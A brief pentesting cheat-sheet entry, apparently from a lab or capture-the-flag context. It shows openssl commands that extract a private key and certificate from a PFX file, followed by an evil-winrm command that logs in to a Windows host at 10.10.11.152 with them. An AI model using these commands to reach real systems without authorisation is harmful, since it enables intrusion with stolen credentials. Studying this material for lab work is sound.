# Certificate Files (PFX, PUB, PEM)

## Using PFX files to sign in to Win-RM

extract the SSL certificate and private key from the pfx bundle:

```
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
```

Now use the certificate and key to sign in to evil-winrm using SSL mode

```
evil-winrm -S -c cert.pem -k key.pem -u legacyy -i 10.10.11.152
```